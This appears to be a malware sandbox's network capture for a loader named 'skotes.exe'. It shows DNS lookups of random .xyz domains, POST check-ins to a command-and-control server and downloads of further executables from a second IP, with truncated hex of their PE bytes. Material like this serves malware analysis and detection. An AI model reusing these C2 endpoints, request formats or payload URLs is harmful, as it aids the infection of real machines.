Dec 12, 2024 14:27:49.233866930 CET	1.1.1.1	192.168.2.4	0x4fc1	No error (0)	cyigqcqwogwqismi.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:51.705410957 CET	1.1.1.1	192.168.2.4	0x10b4	No error (0)	ggqqcmcysoceqeik.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:51.705451965 CET	1.1.1.1	192.168.2.4	0x10b4	No error (0)	ggqqcmcysoceqeik.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:51.705636978 CET	1.1.1.1	192.168.2.4	0x10b4	No error (0)	ggqqcmcysoceqeik.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:52.379021883 CET	1.1.1.1	192.168.2.4	0x49aa	No error (0)	ggsquueekuimuask.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:53.352375031 CET	1.1.1.1	192.168.2.4	0xe7ff	No error (0)	wmykwaogosecqomu.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:53.352545023 CET	1.1.1.1	192.168.2.4	0xe7ff	No error (0)	wmykwaogosecqomu.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:54.068463087 CET	1.1.1.1	192.168.2.4	0x689e	No error (0)	uiuyeseyiukqqkqa.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:54.826076984 CET	1.1.1.1	192.168.2.4	0xe700	No error (0)	msuqawwecqeaciwy.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:54.899621964 CET	1.1.1.1	192.168.2.4	0xe700	No error (0)	msuqawwecqeaciwy.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:55.495656013 CET	1.1.1.1	192.168.2.4	0x2fda	No error (0)	cyqakwwoewksakei.xyz		162.249.67.152	A (IP address)	IN (0x0001)	false
Dec 12, 2024 14:27:57.368304968 CET	1.1.1.1	192.168.2.4	0xb4bd	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 12, 2024 14:27:57.368304968 CET	1.1.1.1	192.168.2.4	0xb4bd	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49747	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:04.234803915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 12, 2024 14:26:05.576780081 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:07.207861900 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 36 32 37 37 30 42 37 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB62770B75C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Dec 12, 2024 14:26:08.568818092 CET	1182	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 64 66 0d 0a 20 3c 63 3e 31 30 31 34 30 36 30 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 64 37 65 38 36 34 34 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 34 30 38 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 65 32 36 63 62 31 37 31 63 65 65 30 35 62 64 31 35 31 37 30 33 37 38 63 64 64 35 63 32 32 61 65 30 66 64 39 61 35 35 33 36 65 36 23 31 30 31 34 33 36 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 39 38 32 36 63 62 31 36 31 61 65 61 30 36 62 35 31 35 30 62 37 62 30 31 62 33 66 30 64 35 31 65 65 35 65 33 64 31 34 38 32 62 23 31 30 31 34 33 39 38 30 30 31 2b 2b 2b 62 35 [TRUNCATED] Data Ascii: 3df <c>1014060001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1014081001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9e26cb171cee05bd15170378cdd5c22ae0fd9a5536e6#1014365001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fb9826cb161aea06b5150b7b01b3f0d51ee5e3d1482b#1014398001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb01ab5e45425197d1aa1daaa8#1014402001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#1014403001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbce71914e54a61cf64d4a485a9592e100b7#1014404001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc37a9e4d15ef02ab5e45425197d1aa1daaa8#1014405001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1014406001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1014407001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49758	31.41.244.11	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:08.764969110 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 14:26:10.088907003 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:09 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 12, 2024 14:26:10.088928938 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:26:10.089040995 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:26:10.089140892 CET	1236	IN	Data Raw: 44 00 00 90 69 04 be 95 e9 d1 5b 89 c1 c1 e9 18 31 c1 69 c1 95 e9 d1 5b 69 ca 95 e9 d1 5b 31 c1 69 44 be 04 95 e9 d1 5b 89 c2 c1 ea 18 31 c2 69 c2 95 e9 d1 5b 69 d1 95 e9 d1 5b 31 c2 83 c7 02 39 fb 75 bf f6 45 e0 04 74 1d 90 69 3c be 95 e9 d1 5b Data Ascii: Di[1i[i[1iD[1i[i[19uEti<[1i[i[1E1ttu#\|D11i[11i[1;uu$U}D$MJLEEEr2P
Dec 12, 2024 14:26:10.089152098 CET	1236	IN	Data Raw: 9f 41 00 e8 57 00 00 00 83 c4 08 90 8b 45 c4 8d 4d c4 6a 01 ff 10 90 c7 45 c4 44 60 41 00 8d 45 c8 50 e8 06 2f 00 00 83 c4 04 b8 07 16 40 00 83 c4 0c 5d c3 66 66 2e 0f 1f 84 00 00 00 00 00 55 83 ec 0c 83 c5 0c 90 c7 45 c4 44 60 41 00 8d 45 c8 50 Data Ascii: AWEMjED`AEP/@]ff.UED`AEP.]SWV\|$A1D$\$$j93SjWVp0;L$1^_[UWVu}A1Ehmd5XAEUj
Dec 12, 2024 14:26:10.089164019 CET	672	IN	Data Raw: 00 eb 13 90 ff 75 e0 e8 88 08 00 00 83 c4 04 56 ff 15 48 cc 41 00 90 8b 45 e8 64 a3 00 00 00 00 b0 01 83 c4 4c 5e 5f 5b 5d c3 90 c7 45 f0 03 00 00 00 e8 64 05 00 00 e8 c5 64 00 00 66 66 66 66 66 66 2e 0f 1f 84 00 00 00 00 00 55 83 ec 1c 83 c5 0c Data Ascii: uVHAEdL^_[]Eddffffff.Uu9]Uu]U]@U]@UMa]fff.U]@U]D$t
Dec 12, 2024 14:26:10.089268923 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 12, 2024 14:26:10.089313030 CET	1236	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}gaUuY]
Dec 12, 2024 14:26:10.089333057 CET	1236	IN	Data Raw: 0c 56 e8 0b fc ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 83 ec 14 56 8b 75 08 ff 34 b5 7c 61 41 00 e8 1f 00 00 00 50 ff 34 b5 98 61 41 00 8d 4d ec e8 02 02 00 00 68 2c d7 41 00 8d 45 ec 50 e8 8d 17 00 00 cc b8 44 e6 41 00 c3 55 8b ec 8b 45 08 8b Data Ascii: VYY^]UVu4\|aAP4aAMh,AEPDAUEUH]UQQVWuupEPAPTYY_^UAVuV;Bu;Eu2^]UQVWy1urAE_^UUVuBN@;Au
Dec 12, 2024 14:26:10.089381933 CET	1236	IN	Data Raw: 75 02 5d c3 50 3d 00 10 00 00 72 07 e8 0a 00 00 00 eb 05 e8 f1 f6 ff ff 59 5d c3 55 8b ec 8b 45 08 8d 48 23 3b c8 0f 86 1f f8 ff ff 51 e8 d7 f6 ff ff 59 8b c8 85 c9 74 0b 8d 41 23 83 e0 e0 89 48 fc 5d c3 e9 9c 53 00 00 83 61 04 00 8b c1 83 61 08 Data Ascii: u]P=rY]UEH#;QYtA#H]SaaAALaAUMu*h AEP}UVu1aA^]UQVuubA^UVubA^]UjhL\AdPQSVWA3P
Dec 12, 2024 14:26:10.208983898 CET	1236	IN	Data Raw: 28 39 03 0f 84 80 00 00 00 8d 46 08 50 ff 15 44 cc 41 00 eb 74 83 7f 04 00 8b 0f 7c 57 7f 04 85 c9 72 51 0b 4f 04 75 05 39 4f 08 7e 47 8d 45 ec 50 e8 dd 00 00 00 8b 07 59 8b 4d f0 3b 4f 04 7c 19 7f 05 39 45 ec 72 12 39 45 ec 75 59 3b 4f 04 75 54 Data Ascii: (9FPDAt\|WrQOu9O~GEPYM;O\|9Er9EuY;OuTE;G}LE^(9t%FPdAu^(9tFPdAtN,AF,~+u(N,tGuGjjXE3_[M3^UEPpA3]UQQE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49773	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:14.297199965 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014060001&unit=246122658369
Dec 12, 2024 14:26:15.654755116 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49775	31.41.244.11	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:15.938215017 CET	66	OUT	GET /files/5996006993/M5iFR20.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 14:26:17.264676094 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:17 GMT Content-Type: application/octet-stream Content-Length: 920064 Last-Modified: Wed, 11 Dec 2024 15:27:04 GMT Connection: keep-alive ETag: "6759af48-e0a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f2 97 58 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 5a 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELXg"Zw@`J@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Dec 12, 2024 14:26:17.264728069 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 12, 2024 14:26:17.264756918 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 12, 2024 14:26:17.264864922 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 12, 2024 14:26:17.264899015 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 12, 2024 14:26:17.264940977 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 12, 2024 14:26:17.264954090 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 12, 2024 14:26:17.265247107 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 12, 2024 14:26:17.265259027 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 12, 2024 14:26:17.265271902 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 12, 2024 14:26:17.384546041 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49794	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:21.683062077 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 30 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014081001&unit=246122658369
Dec 12, 2024 14:26:23.062634945 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49801	31.41.244.11	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:26:23.185930014 CET	65	OUT	GET /files/399764519/W4KLQf7.exe HTTP/1.1 Host: 31.41.244.11
Dec 12, 2024 14:26:24.550812960 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:26:24 GMT Content-Type: application/octet-stream Content-Length: 3917896 Last-Modified: Thu, 12 Dec 2024 10:49:11 GMT Connection: keep-alive ETag: "675abfa7-3bc848" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bc b5 5a 60 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0e 21 00 c6 30 00 00 98 00 00 00 00 00 00 cc 9b 03 00 00 10 00 00 00 e0 30 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 3b 00 00 04 00 00 00 00 00 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 20 3b 00 34 05 00 00 00 30 3b 00 60 96 00 00 00 00 00 00 00 00 00 00 00 98 3b 00 48 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELZ`!00@; ;40;`;H0\$;.text00`.rdata,0,0@.data;:@.idata ;:@.rsrc`0;;@
Dec 12, 2024 14:26:24.550865889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 53 56 57 83 7d 08 00 0f 84 be 3b 00 00 e8 84 82 00 00 e8 2a 86 00 Data Ascii: USVW};*BWQf11'4_eS1PVfRfBff)ff1f\pfHEf-,{G=0fqA9f:)ff.f 51(N
Dec 12, 2024 14:26:24.550877094 CET	1236	IN	Data Raw: 43 c1 e2 07 66 87 d9 56 87 de 66 92 f9 c1 e3 05 66 46 20 d2 80 cc 4e 66 d3 cb 80 db 73 29 f2 66 29 c6 66 0d 56 0d 66 d3 e1 66 81 e2 84 6e 66 d1 ca 81 fb bd 61 2b 4d 90 66 42 01 d1 66 81 e7 7b 35 66 43 fe c2 d3 ef c1 e1 05 c0 c8 08 c1 ce 08 66 d3 Data Ascii: CfVffF Nfs)f)fVffnfa+MfBf{5fCffJ/0xYNfU.0<3fJfff0ffff5W"fFHf If0ufq39!fffN!f9fBf^Z
